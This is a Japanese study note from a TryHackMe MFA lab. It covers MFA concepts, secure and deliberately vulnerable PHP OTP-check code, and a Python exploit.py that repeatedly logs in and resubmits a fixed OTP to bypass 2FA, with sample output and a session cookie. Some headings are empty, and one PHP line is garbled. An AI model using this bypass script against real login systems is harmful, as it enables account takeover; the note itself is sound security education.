コース : https://tryhackme.com/room/multifactorauthentications
用語

MFA

二要素認証とかの複数の要素を組み合わせる認証方法

2FAの主な方式

条件付きアクセス

規制

MFAはフィッシングやパスワード攻撃などに有効な対策であることから、急速に普及
義務化されつつある規制

2017 年の Equifax や 2013 年の Target のような大規模侵害も、MFA があれば防げたかもしれないと言われている

業界別MFA

銀行業

医療分野におけるMFA

企業 IT における MFA

一般的な脆弱性

流れの画像

OTPの漏洩

サーバー側での検証と機密データの返却

適切なセキュリティ対策の不足

セキュアコーディングの知識不足

本番環境に残されたデバッグ情報

2FA 失敗時にログイン画面へ戻されるアプリ

ログイン画面に戻される理由

脆弱性の悪用

バイパス

例えば、ログイン画面で認証情報を入れてから、OTPを行わないで、直接dashboardが見えてしまう

簡単なMFA風コード例

安全なコード

/mfa ページで使用されるコードの一部

# 送信された 2FA トークンを検証する関数
function verify_2fa_code($code) {
    if (!isset($_SESSION['token']))
        return false;

    return $code === $_SESSION['token'];
}

# /mfa ページで呼び出される処理
if (verify_2fa_code($_POST['code'])) { 
    $_SESSION['authenticated'] = true; 
    header('Location: ' . ROOT_DIR . '/dashboard');
    return;
}

文字にすると、

一文にすると、
「送信された OTP がセッションに保存されているトークンと存在しているか。値も型も一致するか。を確認し、一致すれば認証成功」

脆弱性があるコード

MFAをバイパス可能なコード例

# 認証情報の確認
function authenticate($email, $password){
  $pdo = get_db_connection();
  $stmt = $pdo->prepare("SELECT `password` FROM users WHERE email = :email");
  $stmt->execute(['email' => $email]);
  $user = $stmt->fetchFETCH_ASSOC;

  return $user && password_verify($password, $user['password']);
}

# 認証情報があっているかの確認しかしていない
if (authenticate($email, $password)) {
    $_SESSION['authenticated'] = true; #この一行が悪い
    $_SESSION['email'] = $_POST['email'];
    header('Location: ' . ROOT_DIR . '/mfa');
    return;
}

スクリプトによる攻撃

アプリの概要

exploit.py

import requests

login_url = 'http://mfa.thm/labs/third/'
otp_url = 'http://mfa.thm/labs/third/mfa'
dashboard_url = 'http://mfa.thm/labs/third/dashboard'

credentials = { 'email': 'thm@mail.thm', 'password': 'test123' }

headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://mfa.thm',
    'Connection': 'close',
    'Referer': 'http://mfa.thm/labs/third/mfa',
    'Upgrade-Insecure-Requests': '1'
}

def is_login_successful(resp):
    return "User Verification" in resp.text and resp.status_code == 200

def login(sess):
    return sess.post(login_url, data=credentials, headers=headers)

def submit_otp(sess, otp):
    otp_data = {'code-1': otp[0], 'code-2': otp[1], 'code-3': otp[2], 'code-4': otp[3]}
    resp = sess.post(otp_url, data=otp_data, headers=headers, allow_redirects=False)
    print(f"DEBUG: OTP submission response status code: {resp.status_code}")
    return resp

def is_login_page(resp):
    return "Sign in to your account" in resp.text or "Login" in resp.text

def try_until_success():
    otp_str = '1337'
    while True:
        sess = requests.Session()
        if not is_login_successful(login(sess)):
            print("Failed to log in."); continue
        print(f"Trying OTP: {otp_str}")
        resp = submit_otp(sess, otp_str)
        if is_login_page(resp):
            print("Unsuccessful OTP attempt, redirected to login page."); continue
        if resp.status_code == 302:
            loc = resp.headers.get('Location', '')
            print(f"Session cookies: {sess.cookies.get_dict()}")
            if loc == '/labs/third/dashboard':
                print(f"Successfully bypassed 2FA with OTP: {otp_str}")
                return sess.cookies.get_dict()
            elif loc == '/labs/third/':
                print("Failed OTP attempt. Redirected to login.")
            else:
                print(f"Unexpected redirect location: {loc}")

try_until_success()

$ python3 exploit.py
Logged in successfully.
Trying OTP: 1337
DEBUG: OTP submission response status code: 302
Unsuccessful OTP attempt, redirected to login page.
...
Session cookies: {'PHPSESSID': '57burqsvce3odaif2oqtptbl13'}